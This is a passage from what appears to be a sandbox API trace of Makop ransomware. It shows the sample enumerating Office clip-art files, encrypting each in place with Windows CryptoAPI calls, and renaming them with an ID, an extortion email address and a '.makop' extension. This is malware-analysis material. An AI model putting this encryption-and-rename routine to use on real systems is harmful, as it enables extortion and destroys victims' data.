cFileName="J0298897.WMF", cAlternateFileName="")) returned 1 [0164.516] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298897.WMF") returned 61 [0164.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298897.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0298897.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0164.518] GetProcessHeap () returned 0x48a0000 [0164.518] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0164.518] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0164.518] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0164.519] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0164.533] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.533] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.533] GetProcessHeap () returned 0x48a0000 [0164.533] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0164.552] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0164.561] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.800] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0164.800] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0164.800] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0164.801] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0164.801] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0164.801] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0164.801] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.801] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.801] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.801] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x19a6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x19a6, lpOverlapped=0x0) returned 1 [0164.803] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x19b0, dwBufLen=0x19b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x19b0) returned 1 [0164.803] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.803] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x19b0, lpOverlapped=0x0) returned 1 [0164.803] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.803] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1a84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.804] SetEndOfFile (hFile=0xf0) returned 1 [0164.810] GetProcessHeap () returned 0x48a0000 [0164.810] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0164.810] GetProcessHeap () returned 0x48a0000 [0164.810] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0164.810] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298897.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0164.811] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298897.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0298897.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0298897.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0298897.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0164.813] CloseHandle (hObject=0xf0) returned 1 [0164.813] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15fa3200, ftCreationTime.dwHighDateTime=0x1bf2c99, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x15fa3200, ftLastWriteTime.dwHighDateTime=0x1bf2c99, nFileSizeHigh=0x0, nFileSizeLow=0x163c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299125.WMF", cAlternateFileName="")) returned 1 [0164.813] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299125.WMF") returned 61 [0164.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299125.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299125.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0164.814] GetProcessHeap () returned 0x48a0000 [0164.814] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0164.814] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0164.814] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0164.815] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0164.819] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.819] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.819] GetProcessHeap () returned 0x48a0000 [0164.819] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0164.819] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0164.819] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.819] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0164.820] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0164.820] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0164.820] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0164.820] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0164.820] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0164.820] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.820] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.821] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.821] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x163c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x163c, lpOverlapped=0x0) returned 1 [0164.822] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1640, dwBufLen=0x1640 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1640) returned 1 [0164.822] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.822] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1640, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1640, lpOverlapped=0x0) returned 1 [0164.823] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.823] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.823] SetEndOfFile (hFile=0xf0) returned 1 [0164.830] GetProcessHeap () returned 0x48a0000 [0164.830] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0164.830] GetProcessHeap () returned 0x48a0000 [0164.830] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0164.830] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299125.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0164.830] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299125.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299125.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299125.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299125.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0164.832] CloseHandle (hObject=0xf0) returned 1 [0164.832] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x375b1e00, ftCreationTime.dwHighDateTime=0x1bf2c99, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x375b1e00, ftLastWriteTime.dwHighDateTime=0x1bf2c99, nFileSizeHigh=0x0, nFileSizeLow=0x23b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299171.WMF", cAlternateFileName="")) returned 1 [0164.832] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299171.WMF") returned 61 [0164.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299171.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299171.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0164.833] GetProcessHeap () returned 0x48a0000 [0164.833] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0164.834] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0164.834] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0164.834] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0164.859] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.859] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.859] GetProcessHeap () returned 0x48a0000 [0164.859] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0164.859] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0164.859] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.859] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0164.859] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0164.860] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0164.860] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0164.860] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0164.860] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0164.860] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.860] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.860] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.861] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x23b6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x23b6, lpOverlapped=0x0) returned 1 [0164.862] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x23c0, dwBufLen=0x23c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x23c0) returned 1 [0164.862] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.862] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x23c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x23c0, lpOverlapped=0x0) returned 1 [0164.863] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.863] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.863] SetEndOfFile (hFile=0xf0) returned 1 [0164.871] GetProcessHeap () returned 0x48a0000 [0164.871] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0164.872] GetProcessHeap () returned 0x48a0000 [0164.872] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0164.872] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299171.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0164.872] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299171.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299171.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299171.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299171.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0164.874] CloseHandle (hObject=0xf0) returned 1 [0164.874] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa08f6100, ftCreationTime.dwHighDateTime=0x1bf2c9a, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa08f6100, ftLastWriteTime.dwHighDateTime=0x1bf2c9a, nFileSizeHigh=0x0, nFileSizeLow=0x62c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299587.WMF", cAlternateFileName="")) returned 1 [0164.874] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299587.WMF") returned 61 [0164.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299587.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299587.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0164.875] GetProcessHeap () returned 0x48a0000 [0164.875] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0164.876] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0164.876] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0164.876] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0164.880] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.880] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.880] GetProcessHeap () returned 0x48a0000 [0164.880] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0164.880] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0164.880] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.881] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0164.881] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0164.881] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0164.881] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0164.881] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0164.881] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0164.882] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.882] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.882] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.882] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x62c8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x62c8, lpOverlapped=0x0) returned 1 [0164.884] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x62d0, dwBufLen=0x62d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x62d0) returned 1 [0164.884] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.884] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x62d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x62d0, lpOverlapped=0x0) returned 1 [0164.884] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.885] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x63a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.885] SetEndOfFile (hFile=0xf0) returned 1 [0164.892] GetProcessHeap () returned 0x48a0000 [0164.892] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0164.892] GetProcessHeap () returned 0x48a0000 [0164.892] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0164.892] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299587.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0164.892] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0299587.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0299587.wmf"), lpNewFileName="C:\\Program Files\\Microsoft 